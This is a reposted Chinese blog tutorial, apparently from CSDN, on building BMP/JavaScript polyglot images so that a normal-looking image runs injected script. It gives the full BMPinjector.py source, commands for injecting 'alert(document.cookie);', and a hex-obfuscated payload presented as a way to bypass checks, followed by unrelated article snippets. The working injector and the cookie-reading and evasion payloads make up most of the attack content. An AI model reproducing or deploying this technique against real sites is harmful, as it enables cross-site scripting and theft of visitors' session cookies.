php 图片中的恶意代码,图片攻击-BMP图片中注入恶意JS代码 <转载>

本文介绍了一种在BMP图片中注入JavaScript代码的技术,通过修改BMP文件头并添加特定的JS注释,使图片在加载时执行注入的代码。作者提供了BMPinjector.py的源码示例,演示了如何使用Python脚本将JS代码注入到BMP文件中,以及如何通过混淆来绕过检查。此外,还提到了XSS攻击的防范和图片延迟加载的原理。
摘要由CSDN通过智能技术生成

昨天看到一篇文章《hacking throung images》,里面介绍了如何在BMP格式的图片里注入JS代码,使得BMP图片既可以正常显示, 也可以运行其中的JS代码,觉得相当有趣。 执行JS注入的脚本 关键:构造符合正常BMP格式的图片 步骤 1. 将原BMP文件的第三,第四字节替换为\x2F\x2A, 对应js中的注释符号/* BMP文件的第三、四、五、六字节表示BMP文件的大小 2. 在BMP文件末尾添加 (1)\xFF (2)\x2A\x2F,对应的js中的注释符号*/ (3)\x3D\x31\x3B,对应的=1; 是为了伪造成BMP格式 (4)定制的JS代码 BMPinjector.py源码如下(Macro Ramili原本的源码)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

#!/usr/bin/env python2.7

import os

import argparse

def injectFile(payload,fname):

f= open(fname,"r+b")

b= f.read()

f.close()

f= open(fname,"w+b")

f.write(b)

f.seek(2,0)

f.write(b'\x2F\x2A')

f.close()

f= open(fname,"a+b")

f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')

f.write(payload)

f.close()

return True

if __name__== "__main__":

parser= argparse.ArgumentParser()

parser.add_argument("filename",help="the bmp file name to infected")

parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")

args= parser.parse_args()

injectFile(args.js_payload,args.filename)

演示 下面演示实际效果 运行脚本,将指定的JS代码写入到正常的BMP图片中 格式:python 脚本名 -i 正常BMP格式图片 JSPayload

python BMPinjector.py -i 1.bmp "alert(document.cookie);"

演示页面run.html

1

2

3

4

5

6

7

Opening an image

1.bmp

运行 http://xxx/run.html

L3Byb3h5L2h0dHAvd3d3LmNuYmxvZ3MuY29tL2RlbW9uc3BpZGVyL2FkbWluLw==.jpg

8492f9e2de3f61f86e90824c770b67de.gif 也可以采用js混淆来绕过检查,得到和上面一样的效果

python BMPinjector.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"

注意:\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65对应document.cookie

参考: http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html

图片滚动(UP)的JS代码详解(offsetTop、scrollTop、offsetHeigh)【转】

源地址 信息技术教材配套的光盘里有一段设置图片滚动的JS代码,与网络上差不多,实现思路:一个设定高度并且隐藏超出它高度的内容的容器demo,里面放demo1和 demo2,demo1是滚动内容,dem ...

图片加载完毕后执行JS代码

$("#img").load(function(){...}); 这是jquery提供的一个方法,但是在IE中会有BUG,IE8不支持,IE9以上刷新后也不会执行,只有强制刷新才执 ...

dede5&period;7前台插入恶意JS代码

这个问题应该很久了 最近发现有用这个的蠕虫,dede 前台提交友情链接 只用htmlspecialchars简单处理了一下 可以插入代码plus/flink_add.php 提交: 表单中提交 图片地 ...

高端黑链SEO—恶意JS脚本注入访问伪随机域名

摘要:我们的服务器又出入侵事故了.有客户的 html 网页底部被插入了一段 js 脚本,导致访客打开网页时被杀毒软件警告网站上有恶意代码.在黑链 SEO 中这是常见的手法,但奇特的地方就在于我们这次捕 ...

xss 防止攻击&comma;恶意用户将输入的信息当成html或js代码执行&comma;办法是将用户输入的信息改为text格式&comma;或特殊符号转义

xss 防止攻击,恶意用户将输入的信息当成html或js代码执行,办法是将用户输入的信息改为text格式,或特殊符号转义 XSS攻击的防范 XSS攻击造成的危害之所以会发生,是因为用户的输入变成了可执 ...

js实现网页图片延时加载的原理和代码 提高网站打开速度

有时我们看到一些大型网站,页面如果有很多图片的时候,当你滚动到相应的行时,当前行的图片才即时加载的,这样子的话页面在打开只加可视区域的图片,而其它隐藏的图片则不加载,一定程序上加快了页面加载的速度,对 ...

通过input上传图片,判断不同浏览器及图片类型和大小的js代码

1.jsp页面代码

图片左右滚动的js代码

html代码

随机推荐

&lbrack;deviceone开发&rsqb;-cnodejs论坛移动端App

一. 简介 这个App是利用cnodejs.net的API来实现论坛的移动端,使用了deviceone的官方的js库(github.com/do-js). 从而使代码非常简洁,便于阅读和参考,值得推荐 ...

LeetCode&colon; Unique Binary Search Trees II 解题报告

Unique Binary Search Trees II Given n, generate all structurally unique BST's (binary search trees) ...

百度地图API自定义地图

http://api.map.baidu.com/lbsapi/creatmap/index.html http://developer.baidu.com/map/index.php?title=w ...

CCNA长语

思科认证网络支持工程师(Cisco Certified Network Associate_CCNA) 专业英文词汇大全 10BaseT-----原始IEEE802.3标准的一部分,1OBaseT是1 ...

php ob&lowbar; 开头的相关函数

RabbitMQ挂掉问题处理

开发环境中的rabbitmq总是会挂掉,rabbitmq的执行都是ssh远程登录执行命令: rabbitmq-server & 认为加了&,进程会在后台执行不会受到终端的影响.所以不知 ...

配置Log4J&lpar;转载&rpar;

Log4J的配置文件(Configuration File)就是用来设置记录器的级别.存放器和布局的,它可接key=value格式的设置或xml格式的设置信息.通过配置,可以创建出Log4J的运行环境 ...

【Apache Kafka】Kafka学习笔记

0x00 基本信息 1.Kafka架构图 2.环境信息 服务器IP:xx.xx.xx.xx 操作系统:CentOS7.2_x64 Kafka版本:kafka_2.12-1.1.0 Zookeeper版 ...

Android Dialog对话框

Dialog的基本方法 //创建Dialog AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); //设 ...

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值